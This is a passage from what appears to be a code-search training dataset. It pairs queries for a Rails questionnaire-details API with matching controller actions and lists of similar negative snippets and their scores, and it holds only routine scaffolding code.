index\n @questid = params[:questionnaire_id]\n end", "def show\n @question_type = QuestionType.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @question_type }\n end\n end", "def new\n @completed_quest = CompletedQuest.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @completed_quest }\n end\n end", "def new\n @critical_question = CriticalQuestion.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @critical_question }\n end\n end", "def show\n @inquirement = Inquirement.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @inquirement }\n end\n end", "def show\n @report_question = ReportQuestion.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @report_question }\n end\n end", "def new\n @question = Question.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @question }\n end\n end", "def new\n @question = Question.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @question }\n end\n end", "def new\n @question = Question.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @question }\n end\n end", "def new\n @question = Question.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @question }\n end\n end", "def new\n @question = Question.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @question }\n end\n end", "def show\n @quiz=Quiz.find(params[:id])\n render json: @quiz.show_full_details\n end", "def show\n @exam = Exam.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @exam }\n end\n end", "def create\n @questionnairedetail = Questionnairedetail.new(questionnairedetail_params)\n\n respond_to do |format|\n if @questionnairedetail.save\n format.html { redirect_to @questionnairedetail, notice: 'Questionnairedetail was successfully created.' }\n format.json { render :show, status: :created, location: @questionnairedetail }\n else\n format.html { render :new }\n format.json { render json: @questionnairedetail.errors, status: :unprocessable_entity }\n end\n end\n end", "def new\n\t@questionnaire=Questionnaire.find(params[:questionnaire_id])\n\tif (params[:questionnaire_id].nil?)\n\t @questions = nil\n\telse\n\t @questions = Questionnaire.find(params[:questionnaire_id]).questions\n\tend\n\t@question = Question.new\n\n\n\trespond_to do |format|\n\t format.html # new.html.erb\n\t format.xml { render :xml => @question }\n\tend\n end", "def new\n @question = Question.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @question }\n end\n end", "def show\n @product.enquiries.find(params[:id])\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @enquiry }\n end\n end", "def new\n @intake_question = IntakeQuestion.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @intake_question }\n end\n end", "def show\n @qa = Qa.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :xml => @qa.to_json(:include => [:answer, :question]) }\n end\n end", "def new\n @questionnaire = Questionnaire.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @questionnaire }\n end\n end", "def new\n @question = Question.new\n render :json => {:question_id => @question.id}.to_json\n # respond_to do |format|\n # format.html # new.html.erb\n # format.xml { render :xml => @question }\n # end\n end", "def new\n @survey_answer_item = SurveyAnswerItem.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @survey_answer_item }\n end\n end", "def show\n if @v1_question\n render json: @v1_question\n else\n render json: get_errors, status: :unprocessable_entity\n end\n end", "def show\n @survey = Survey.find(params[:id])\n @title = @survey.title\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @survey }\n end\n end", "def responses\n question=Question.find(params[:questionId])\n render :json=> question.response\n end", "def show\n @question_field = QuestionField.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @question_field }\n end\n end", "def show\n @faq = Faq.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @faq, include: 'subject' }\n end\n end", "def show\n @base_question = BaseQuestion.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @base_question }\n end\n end", "def show\n @question_datum = QuestionDatum.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @question_datum }\n end\n end", "def questions\n self.class.get(\"/2.2/questions\", @options)\n end", "def show\r\n @survey_response = SurveyResponse.find(params[:id])\r\n\r\n respond_to do |format|\r\n format.html # show.html.erb\r\n format.json { render json: @survey_response }\r\n end\r\n end", "def new\n @question = Question.new\n respond_to do |format|\n format.html # new.html.erb\n #format.json { render json: @question }\n end\n end", "def show\n @user_quest = UserQuest.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @user_quest }\n end\n end", "def show\n @report_question_answer = ReportQuestionAnswer.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @report_question_answer }\n end\n end", "def show\n @title = t('view.surveys.show_title')\n @survey = Survey.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @survey }\n end\n end", "def show\n @rnaseq = Rnaseq.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @rnaseq }\n end\n end", "def get_one\n question_data = Question.new.get_one( params[:id] )\n return render json: question_data\n end", "def show\n @assessment_practice_test = AssessmentPracticeTest.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json:@assessment_practice_test }\n end\n end", "def new\n @question = Question.new\n # @question.save\n render :json => {:question_id => @question.id}.to_json\n # respond_to do |format|\n # format.html # new.html.erb\n # format.xml { render :xml => @question }\n # end\n end", "def new\n @question_response = QuestionResponse.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @question_response }\n end\n end", "def new\n @tutorial_quest = Tutorial::Quest.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @tutorial_quest }\n end\n end", "def new\r\n @intern_question = InternQuestion.new\r\n\r\n respond_to do |format|\r\n format.html # new.html.erb\r\n format.json { render json: @intern_question }\r\n end\r\n end", "def show\n @assessment_end_chapter_quiz = AssessmentEndChapterQuiz.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json:@assessment_end_chapter_quiz }\n end\n end", "def show\n @survey_result = SurveyResult.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @survey_result }\n end\n end", "def index\n @questionnaires = @instance.questionnaires\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @questionnaires }\n end\n end", "def show\n @qualification = Qualification.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @qualification }\n end\n end", "def show\n @faq = Helpdesk::Faq.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @faq }\n end\n end", "def new\n @report_question = ReportQuestion.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @report_question }\n end\n end", "def show\n @questions = Question.find(params[:id])\n end", "def show\n @faq = Faq.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @faq }\n end\n end" ]
[ "0.8038944", "0.7929013", "0.7929013", "0.73681575", "0.6950631", "0.6825404", "0.68188745", "0.6809282", "0.6809282", "0.6764444", "0.6757636", "0.67383695", "0.6724907", "0.67115724", "0.67073476", "0.66774744", "0.6634457", "0.66314304", "0.6630871", "0.6630871", "0.6630871", "0.66186816", "0.6600401", "0.6594923", "0.6594923", "0.6577098", "0.6566388", "0.6561912", "0.6558091", "0.6556449", "0.65405136", "0.6514826", "0.6489949", "0.64890134", "0.6478853", "0.6478853", "0.6478853", "0.6478853", "0.6478853", "0.6477312", "0.6472711", "0.64715016", "0.6470064", "0.645938", "0.64561975", "0.64551204", "0.6454521", "0.64509475", "0.6445037", "0.64332914", "0.64286166", "0.64241743", "0.6420553", "0.64201593", "0.64107853", "0.6406543", "0.6404469", "0.6404469", "0.6404469", "0.6404469", "0.6404469", "0.6398452", "0.6397708", "0.6394861", "0.63921803", "0.6389208", "0.6388104", "0.6365584", "0.63520783", "0.6338114", "0.6333578", "0.63204557", "0.6320236", "0.6319673", "0.6319127", "0.6305517", "0.6303073", "0.6293347", "0.6292736", "0.62900937", "0.62829304", "0.6278717", "0.6274776", "0.62726444", "0.62725544", "0.6265697", "0.62576604", "0.62559325", "0.62405175", "0.6240475", "0.6239624", "0.62345916", "0.6229477", "0.62258846", "0.6223699", "0.6222818", "0.6218736", "0.6217951", "0.62094104", "0.6197604" ]
0.7275353
4
GET /questionnairedetails/1 GET /questionnairedetails/1.json
def show end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def show\n @questionnaire = Questionnaire.find(params[:id])\n\n respond_to do |format|\n format.html\n format.json { render json: @questionnaire }\n end\n end", "def show\n @questionnaire = Questionnaire.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @questionnaire }\n end\n end", "def show\n @questionnaire = Questionnaire.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @questionnaire }\n end\n end", "def new\n @questionnaire = Questionnaire.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @questionnaire }\n end\n end", "def index\n @questionnairedetails = Questionnairedetail.all\n end", "def set_questionnairedetail\n @questionnairedetail = Questionnairedetail.find(params[:id])\n end", "def show\n @survey_question_item = SurveyQuestionItem.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @survey_question_item }\n end\n end", "def show\n authorize! :answer, @questionnaire\n\n respond_to do |format|\n format.html {\n @answer_set = AnswerSet.new()\n @answer_set.questionnaire_id = @questionnaire.id\n @answer_set.init_questionnaire(@questionnaire)\n }\n format.json { render :json => @questionnaire.questions.to_json }\n end\n end", "def show\n \t\tquestion = Question.find(params[:id])\n \t\tputs \"QUESTION: #{question.name}\"\n \t\trender json: question\n \tend", "def get_one\n question_data = Question.new.get_one( params[:id] )\n return render json: question_data\n end", "def show\n @survey_answer_item = SurveyAnswerItem.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @survey_answer_item }\n end\n end", "def index\n @questid = params[:questionnaire_id]\n end", "def show\n @completed_quest = CompletedQuest.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @completed_quest }\n end\n end", "def show\n @questionnaire = Questionnaire.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @questionnaire }\n end\n end", "def show\n @questionnaire = Questionnaire.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @questionnaire }\n end\n end", "def show\n @my_question = MyQuestion.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @my_question }\n end\n end", "def show\n @test_question = TestQuestion.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @test_question }\n end\n end", "def show\n @critical_question = CriticalQuestion.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @critical_question }\n end\n end", "def show\n @survey_question = SurveyQuestion.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n #format.json { render json: @survey_question }\n end\n end", "def show\n if @v1_question\n render json: @v1_question\n else\n render json: get_errors, status: :unprocessable_entity\n end\n end", "def show\n @answer = Answer.find(params[:id])\n question_id = @answer.question\n @body = @answer.body\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @answer }\n end\n end", "def show\n @question = Question.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @question }\n end\n end", "def show\n @question = Question.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @question }\n end\n end", "def show\n @question = Question.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @question }\n end\n end", "def show\n @question = Question.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @question }\n end\n end", "def show\n @form = Form.where(id: params[:id]).includes(:questions => :answers).first\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @form }\n end\n end", "def show\n @questionnaire_group = QuestionnaireGroup.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @questionnaire_group }\n end\n end", "def show\n @question = Question.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @question }\n end\n end", "def show\n @question = Question.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @question }\n end\n end", "def new\n @knowledge_points = KnowledgePoint.all\n @question = Question.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @question }\n end\n end", "def show\n @question_response = QuestionResponse.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @question_response }\n end\n end", "def show\n @intake_question = IntakeQuestion.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @intake_question }\n end\n end", "def show\n @report_question = ReportQuestion.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @report_question }\n end\n end", "def new\n @my_question = MyQuestion.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @my_question }\n end\n end", "def new\n @survey_question_item = SurveyQuestionItem.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @survey_question_item }\n end\n end", "def new\n @project = Project.find(params[:project_id])\n @questionnaire = Questionnaire.new\n question = @questionnaire.qquestions.build\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @questionnaire }\n end\n end", "def show\n @quest = Quest.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @quest }\n end\n end", "def show\n @my_survey = nil # MySurvey.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @my_survey }\n end\n end", "def show\n \n @dquestion = Dquestion.find(params[:id])\n session[:quest_id] = @dquestion.id\n @danswers = Danswer.where(dquestion_id: @dquestion.id)\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: [@dtest, @dquestion] }\n end\n end", "def show\n @survey = Survey.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @survey }\n end\n end", "def show\n @survey = Survey.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @survey }\n end\n end", "def show\n @survey = Survey.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @survey }\n end\n end", "def show\n @survey = Survey.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @survey }\n end\n end", "def show\n @survey = Survey.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @survey }\n end\n end", "def show\n @question_type = QuestionType.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @question_type }\n end\n end", "def new\n @quick_answer = QuickAnswer.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @quick_answer }\n end\n end", "def show\n @my_exam = MyExam.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @my_exam }\n end\n end", "def show\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @question }\n end\n end", "def show\r\n @intern_question = InternQuestion.find(params[:id])\r\n\r\n respond_to do |format|\r\n format.html # show.html.erb\r\n format.json { render json: @intern_question }\r\n end\r\n end", "def show\n # @answers = @response.answers\n # @questionnaire_name = @response.questionnaire.name\n # @user = @response.user\n end", "def new\n @test_question = TestQuestion.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @test_question }\n end\n end", "def new\n\t@questionnaire=Questionnaire.find(params[:questionnaire_id])\n\tif (params[:questionnaire_id].nil?)\n\t @questions = nil\n\telse\n\t @questions = Questionnaire.find(params[:questionnaire_id]).questions\n\tend\n\t@question = Question.new\n\n\n\trespond_to do |format|\n\t format.html # new.html.erb\n\t format.xml { render :xml => @question }\n\tend\n end", "def show\n @survey = Survey.find(params[:id])\n @title = @survey.title\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @survey }\n end\n end", "def show\n render_json @question\n end", "def show\n @base_question = BaseQuestion.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @base_question }\n end\n end", "def new\n @question = Question.new\n render :json => {:question_id => @question.id}.to_json\n # respond_to do |format|\n # format.html # new.html.erb\n # format.xml { render :xml => @question }\n # end\n end", "def show\n @data_collection = DataCollection.find(params[:id])\n @questionnaires = @data_collection.questionnaires\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @data_collection }\n end\n end", "def new\n @completed_quest = CompletedQuest.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @completed_quest }\n end\n end", "def new\n @intake_question = IntakeQuestion.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @intake_question }\n end\n end", "def show\n @inquirement = Inquirement.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @inquirement }\n end\n end", "def show\n @product.enquiries.find(params[:id])\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @enquiry }\n end\n end", "def new\n @critical_question = CriticalQuestion.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @critical_question }\n end\n end", "def responses\n question=Question.find(params[:questionId])\n render :json=> question.response\n end", "def show\n @exam = Exam.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @exam }\n end\n end", "def new\n #@question = Question.new\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @question }\n end\n end", "def show\n #@questionnaire = Questionnaire.find(params[:id], :include => [:questionnaire_fields ])\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @questionnaire }\n format.js\n end\n end", "def create\n @questionnairedetail = Questionnairedetail.new(questionnairedetail_params)\n\n respond_to do |format|\n if @questionnairedetail.save\n format.html { redirect_to @questionnairedetail, notice: 'Questionnairedetail was successfully created.' }\n format.json { render :show, status: :created, location: @questionnairedetail }\n else\n format.html { render :new }\n format.json { render json: @questionnairedetail.errors, status: :unprocessable_entity }\n end\n end\n end", "def show\n @rnaseq = Rnaseq.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @rnaseq }\n end\n end", "def show\n @title = t('view.surveys.show_title')\n @survey = Survey.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @survey }\n end\n end", "def new\n @survey_answer_item = SurveyAnswerItem.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @survey_answer_item }\n end\n end", "def new\n @question = Question.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @question }\n end\n end", "def new\n @question = Question.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @question }\n end\n end", "def new\n @question = Question.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @question }\n end\n end", "def new\n @question = Question.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @question }\n end\n end", "def new\n @question = Question.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @question }\n end\n end", "def show\n @report_question_answer = ReportQuestionAnswer.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @report_question_answer }\n end\n end", "def new\n @question = Question.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @question }\n end\n end", "def new\n @question = Question.new\n # @question.save\n render :json => {:question_id => @question.id}.to_json\n # respond_to do |format|\n # format.html # new.html.erb\n # format.xml { render :xml => @question }\n # end\n end", "def new\n @report_question = ReportQuestion.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @report_question }\n end\n end", "def show\r\n @survey_response = SurveyResponse.find(params[:id])\r\n\r\n respond_to do |format|\r\n format.html # show.html.erb\r\n format.json { render json: @survey_response }\r\n end\r\n end", "def show\n @question_field = QuestionField.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @question_field }\n end\n end", "def show\n @quiz=Quiz.find(params[:id])\n render json: @quiz.show_full_details\n end", "def show\n @question_datum = QuestionDatum.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @question_datum }\n end\n end", "def show\n @patient_exercise = PatientExercise.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @patient_exercise }\n end\n end", "def new\n @questionnaire = Questionnaire.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @questionnaire }\n end\n end", "def show\n @questionset = Questionset.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @questionset }\n end\n end", "def show\n json_response(@faq)\n end", "def show\n @assessment_practice_test = AssessmentPracticeTest.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json:@assessment_practice_test }\n end\n end", "def show\n @research_item = ResearchItem.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @research_item }\n end\n end", "def show\n @qa = Qa.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :xml => @qa.to_json(:include => [:answer, :question]) }\n end\n end", "def show\n @survey_result = SurveyResult.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @survey_result }\n end\n end", "def show\n @user_quest = UserQuest.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @user_quest }\n end\n end", "def show\n @question_set = QuestionSet.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @question_set }\n end\n end", "def new\n @patient_exercise = PatientExercise.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @patient_exercise }\n end\n end", "def new\n @question_requirement = QuestionRequirement.new\n @question_requirement.question_id = params[:id]\n\n @options = @question_requirement.question.survey.options\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @question_requirement }\n end\n end", "def new\r\n @intern_question = InternQuestion.new\r\n\r\n respond_to do |format|\r\n format.html # new.html.erb\r\n format.json { render json: @intern_question }\r\n end\r\n end", "def show\n @questions = Question.find(params[:id])\n end", "def new\n @quest = Quest.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @quest }\n end\n end", "def new\n @question = Question.new\n respond_to do |format|\n format.html # new.html.erb\n #format.json { render json: @question }\n end\n end", "def new\n @tutorial_quest = Tutorial::Quest.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @tutorial_quest }\n end\n end", "def show\n @poll_question = PollQuestion.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @poll_question }\n end\n end" ]
[ "0.8036341", "0.79174465", "0.79174465", "0.7342866", "0.729452", "0.6920519", "0.69137335", "0.68918395", "0.68870836", "0.687951", "0.6828549", "0.68277174", "0.68047523", "0.6796576", "0.6796576", "0.67809135", "0.67606616", "0.6750744", "0.67384803", "0.6690748", "0.6639887", "0.6639768", "0.663922", "0.663922", "0.663922", "0.66278344", "0.6609568", "0.6604438", "0.6604438", "0.65912986", "0.65762204", "0.657399", "0.6570056", "0.6564277", "0.6560883", "0.6557368", "0.65381765", "0.65346986", "0.65293497", "0.65188646", "0.65188646", "0.65188646", "0.65188646", "0.65188646", "0.65145737", "0.65073144", "0.6497551", "0.6493445", "0.64871955", "0.64860684", "0.64718884", "0.64699066", "0.64679825", "0.64662874", "0.64606977", "0.6449324", "0.6448496", "0.6446718", "0.64448863", "0.64396393", "0.64369804", "0.642289", "0.64196694", "0.6419582", "0.641843", "0.6404511", "0.6396413", "0.6395195", "0.63951415", "0.63855696", "0.63758415", "0.63758415", "0.63758415", "0.63758415", "0.63758415", "0.63709116", "0.6365987", "0.63647527", "0.63566124", "0.6334431", "0.6333321", "0.63332087", "0.63291067", "0.63242376", "0.63211507", "0.63069654", "0.63006324", "0.6296226", "0.62947303", "0.62895834", "0.6287323", "0.62776446", "0.6266461", "0.6261349", "0.6260118", "0.62597436", "0.6257905", "0.6250288", "0.62476784", "0.62470233", "0.62439007" ]
0.0
-1
POST /questionnairedetails POST /questionnairedetails.json
def create @questionnairedetail = Questionnairedetail.new(questionnairedetail_params) respond_to do |format| if @questionnairedetail.save format.html { redirect_to @questionnairedetail, notice: 'Questionnairedetail was successfully created.' } format.json { render :show, status: :created, location: @questionnairedetail } else format.html { render :new } format.json { render json: @questionnairedetail.errors, status: :unprocessable_entity } end end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def new\n @questionnaire = Questionnaire.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @questionnaire }\n end\n end", "def create\n @questionnaire = @participant.build_questionnaire(params[:questionnaire])\n @questionnaire.step = 1\n \n respond_to do |format|\n if @questionnaire.save\n format.html { redirect_to new_questionnaire_path }\n # format.json { render json: @questionnaire, status: :created, location: @questionnaire }\n else\n format.html { render \"questionnaires/steps/step0\" }\n # format.json { render json: @questionnaire.errors, status: :unprocessable_entity }\n end\n end\n end", "def questionnairedetail_params\n params.require(:questionnairedetail).permit(:answerUser, :eval, :idquestion, :questionnaire_id)\n end", "def create\n @questionnaire = Questionnaire.new(questionnaire_params)\n\n respond_to do |format|\n if @questionnaire.save\n format.html { redirect_to questionnaires_url, notice: \"Questionnaire was successfully created.\" }\n else\n # format.html { render :new, status: :unprocessable_entity }\n format.html { redirect_to new_questionnaire_url, alert: @questionnaire.errors.full_messages.first }\n end\n end\n end", "def create\n json = params[:survey]\n json[:questions] = JSON.parse(json[:questions])\n json[:questions].each_with_index do |question, idx|\n json[:questions][idx]['id'] = idx + 1\n end\n @survey = Survey.new(json)\n respond_to do |format|\n if @survey.save\n format.html { redirect_to @survey, notice: 'Survey was successfully created.' }\n format.json { render json: @survey, status: :created, location: @survey }\n else\n format.html { render action: \"new\" }\n format.json { render json: @survey.errors, status: :unprocessable_entity }\n end\n end\n end", "def index\n @questionnairedetails = Questionnairedetail.all\n end", "def set_questionnairedetail\n @questionnairedetail = Questionnairedetail.find(params[:id])\n end", "def questionnaire_params\n params.require(:questionnaire).permit(:title)\n end", "def create\n @questionnaire = current_user.questionnaires.new(questionnaire_params)\n respond_to do |format|\n if @questionnaire.save\n format.html { redirect_to company_questionnaire_path(@questionnaire.company, @questionnaire), notice: 'Questionnaire was successfully created.' }\n format.json { render :show, status: :created, location: @questionnaire } \n else \n flash[:danger] = @questionnaire.errors.full_messages.join(', ')\n format.html { render :new }\n format.json { render json: @questionnaire.errors, status: :unprocessable_entity }\n end\n end\n end", "def new\n @project = Project.find(params[:project_id])\n @questionnaire = Questionnaire.new\n question = @questionnaire.qquestions.build\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @questionnaire }\n end\n end", "def show\n @questionnaire = Questionnaire.find(params[:id])\n\n respond_to do |format|\n format.html\n format.json { render json: @questionnaire }\n end\n end", "def questionnaire_params\n params.require(:questionnaire).permit!\n # params.require(:questionnaire).permit(:company_founder_1, :company_founder_2, :company_founder_3, :company_founder_4, :company_name, :company_website, :year_founded, :elevator_pitch, :interesting_why, :motivation, :product_stage, :financial_stage, :burn_rate, :revenue, :current_month_revenue, :ebitda_estimate, :risks_overview, :core_competency, :greatest_challenge, :opportunity, :critical_cost, :worst_case_scenario, :customers, :customers_overview, :customer_location, :customer_consumption, :customer_motivation, :customer_drivers, :distribution_power, :supply_power, :pricing_strategy, :company_evolution, :cofounder_story, :skills_mix_1, :skills_mix_2, :management_team_status, :management_team_filled_roles, :management_city_location, :past_experience_relevancy, :time_investment, :full_time_employees, :early_stage_experience, :location_relevancy, :contributed_capital, :management_earnings, :alternative_interest)\n end", "def create\n @question = SurveyQuestion.new(question_params)\n if @question.save\n render json: @question\n else\n render json: @question.errors.full_messages.join(\", \"), status: :unprocessable_entity\n end\n end", "def create\n @project = Project.find(params[:questionnaire][:project_id])\n @questionnaire = Questionnaire.new(params[:questionnaire])\n respond_to do |format|\n if @questionnaire.save\n format.html { redirect_to @questionnaire, notice: 'Questionnaire was successfully created.' }\n format.json { render json: @questionnaire, status: :created, location: @questionnaire }\n format.js { render \"redirect\" }\n else\n format.html { render action: \"new\" }\n format.json { render json: @questionnaire.errors, status: :unprocessable_entity }\n format.js {render \"validation_error\"}\n end\n end\n end", "def show\n @questionnaire = Questionnaire.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @questionnaire }\n end\n end", "def show\n @questionnaire = Questionnaire.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @questionnaire }\n end\n end", "def create\n # puts params\n questions = JSON.parse(params[:questions])\n q_hash = questions[\"questions\"]\n @assignment = Assignment.new\n @assignment.course_id = params[:course_id]\n @assignment.type = \"Homework\"\n @assignment.start_date = params[:start_date]\n @assignment.end_date = params[:end_date]\n @assignment.name = params[:name]\n # Following is the question hash\n q_hash.each do |key, value|\n a_hash = key[\"answers\"]\n question = key[\"question\"]\n puts question\n new_question = Question.new\n new_question.description = question\n new_question.type = \"MultipleChoice\"\n # Answer hash\n a_hash.each do |k,v|\n puts k[\"is_correct\"]\n puts k[\"description\"]\n new_answer = Answer.new\n new_answer.description = k[\"description\"]\n new_answer.is_correct = k[\"is_correct\"]\n new_question.association(:answers).add_to_target(new_answer)\n end\n @assignment.association(:questions).add_to_target(new_question)\n end\n \n if @assignment.save\n render :show, status: :created, location: @assignment\n else\n render json: @assignment.errors, status: :unprocessable_entity\n end\n end", "def create\n @questionnaire = Questionnaire.new(questionnaire_params)\n @questionnaire.build_questionnaire_with_options(\n questionnaire_params[:options][:question_count],\n questionnaire_params[:options][:answer_count])\n\n respond_to do |format|\n if @questionnaire.save\n format.html { redirect_to @questionnaire,\n notice:\n 'Тест успешно создан, для заполнения вопросов и ответов\n - пройдите в раздел \"Редактировать тест\".'}\n format.json { render :show, status: :created, location: @questionnaire }\n else\n format.html { render :new }\n format.json { render json: @questionnaire.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n 